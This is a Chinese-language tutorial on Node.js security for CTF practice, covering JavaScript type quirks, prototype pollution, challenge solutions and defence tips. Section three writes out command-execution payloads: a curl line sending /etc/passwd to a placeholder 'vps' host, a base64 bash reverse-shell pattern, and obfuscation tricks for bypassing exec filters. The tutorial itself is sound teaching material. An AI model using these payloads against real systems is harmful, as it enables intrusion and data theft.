NodeJs从零到一
字数 1691 2025-08-23 18:31:09
Node.js 安全与CTF应用全面指南
一、Node.js基础概念
1.1 Node.js与JavaScript的区别
| 区别点 | JavaScript | Node.js |
|---|---|---|
| 本质 | 编程语言 | JavaScript运行环境 |
| 运行环境 | 浏览器 | 服务器端/浏览器外 |
| 主要用途 | 客户端开发 | 服务器端开发 |
| DOM操作 | 支持 | 不支持 |
| 引擎 | 各浏览器引擎(如V8) | 使用Chrome V8引擎 |
| 典型框架 | RamdaJS, TypedJS | Express, Lodash等 |
1.2 Node.js核心特性
REPL环境:
- 读取(Read)-执行(Eval)-打印(Print)-循环(Loop)环境
- 浏览器控制台和Node运行环境都属于REPL
- 支持变量声明(
var)和直接使用变量
同步与异步:
- 同步:阻塞式,顺序执行
- 异步:非阻塞,使用回调函数
- 回调函数通常作为最后一个参数
全局变量:
__dirname:当前模块目录名__filename:当前模块文件名exports/module.exports:模块导出对象require:引入模块、JSON或本地文件
二、Node.js安全特性
2.1 大小写转换特性
"ı".toUpperCase() == 'I' // 土耳其小写i转大写
"ſ".toUpperCase() == 'S' // 长s字符转大写
"KK".toLowerCase() == 'k' // 特殊符号转小写
应用场景:绕过大小写敏感检查,如登录验证
2.2 弱类型比较
数字与字符串比较:
1 == '1' // true
'111' > '3' // false (字符串比较)
'111' > 3 // true (数字比较)
数组比较:
[] == [] // false
[6,2] > [5] // true (比较第一个元素)
[100,2] < 'test' // true (数组永远比非数组字符串小)
特殊比较:
null == undefined // true
null === undefined // false
NaN == NaN // false
2.3 变量拼接特性
5 + [6,6] // "56,6"
"5" + 6 // "56"
"5" + [6,6] // "56,6"
2.4 ES6模板字符串
var node = "nodejs";
console.log`hello ${node} world`;
// 等同于 console.log(["hello ", " world"], node)
三、Node.js命令执行漏洞
3.1 危险函数
-
eval():
eval(req.query.q); // 直接执行用户输入 -
setTimeout/setInterval:
setTimeout("console.log('Hacked')", 2000); setInterval("console.log('Hacked')", 2000); -
Function构造函数:
Function("console.log('Hacked')")(); -
child_process模块:
- exec:执行系统命令
- execFile:执行文件
- fork:创建子进程
- spawn:创建新进程
3.2 命令执行Payload
// 基本执行
require('child_process').exec('calc');
// Linux文件读取
require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');
// 反弹shell
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');
3.3 绕过技术
-
点号过滤绕过:
require('child_process')["exec"]('calc'); -
字符串拼接:
require('child_process')["ex"+"ec"]('calc'); -
编码绕过:
- 十六进制:
"\x65\x78\x65\x63" - Unicode:
"\u0065\u0078\u0065\u0063" - Base64:
eval(Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpWyJleGVjIl0oJ2NhbGMnKTs=','base64').toString());
- 十六进制:
-
ES6模板:
require('child_process')[`${`${`exe`}cSync`}`]('calc'); -
concat拼接:
require('child_process')["exe".concat("c")]('calc'); -
Object.values反射:
require('child_process')[Object.values(require('child_process'))[0]]('calc');
四、原型链污染
4.1 基本概念
- prototype:类的属性,实例化时赋予实例
- proto:实例属性,指向类的prototype
- 关键等式:
user.__proto__ == User.prototype
4.2 原型链继承
function Father(){
this.last_name = '0ne'
}
function Son(){
this.first_name = 'node'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
// 输出: Name: node 0ne
4.3 原型链污染原理
通过修改__proto__属性污染原型链:
let user = {first: 1}
user.__proto__.first = 2 // 修改Object原型
let show = {}
console.log(show.first) // 2,污染成功
4.4 污染条件
能够控制对象键名的操作:
- 对象merge(合并)
- 对象clone(克隆)
污染示例:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2) // 污染Object原型
let o3 = {}
console.log(o3.b) // 2
4.5 防御措施
- 使用
Object.create(null)创建无原型对象 - 冻结原型:
Object.freeze(Object.prototype) - 检查键名:拒绝
__proto__等特殊属性
五、CTF实战案例
5.1 大小写绕过案例
漏洞代码:
function findUser(name, password){
return name !== 'CTFSHOW' &&
item.username === name.toUpperCase() &&
item.password === password;
}
利用:
传入ctfſhow,转换后为CTFSHOW,绕过检查
5.2 变量拼接+弱类型比较
漏洞代码:
if(a && b && a.length === b.length &&
a !== b && md5(a + flag) === md5(b + flag)){
res.end(flag);
}
利用:
a = {'x':'1'}, b = {'x':'2'}
a + "flag" === "[object Object]flag"
b + "flag" === "[object Object]flag"
Payload:?a[x]=1&b[x]=2
5.3 原型链污染案例
漏洞代码:
utils.copy(user, req.body); // 合并用户输入到对象
if(secert.ctfshow === '36dboy'){
res.end(flag);
}
利用:
发送JSON数据污染原型:
{
"__proto__": {
"ctfshow": "36dboy"
}
}
六、防御建议
-
输入验证:
- 严格校验用户输入
- 使用白名单过滤特殊字符
-
安全编码:
- 避免使用
eval()等危险函数 - 使用严格模式(
'use strict')
- 避免使用
-
依赖管理:
- 定期更新依赖库
- 使用
npm audit检查漏洞
-
原型保护:
- 冻结敏感原型对象
- 避免不可信数据修改原型
-
权限控制:
- 以最小权限运行Node.js进程
- 使用沙箱环境执行不可信代码
通过深入理解这些Node.js特性和安全机制,安全研究人员可以更好地发现和利用漏洞,同时开发者也能编写更安全的Node.js应用程序。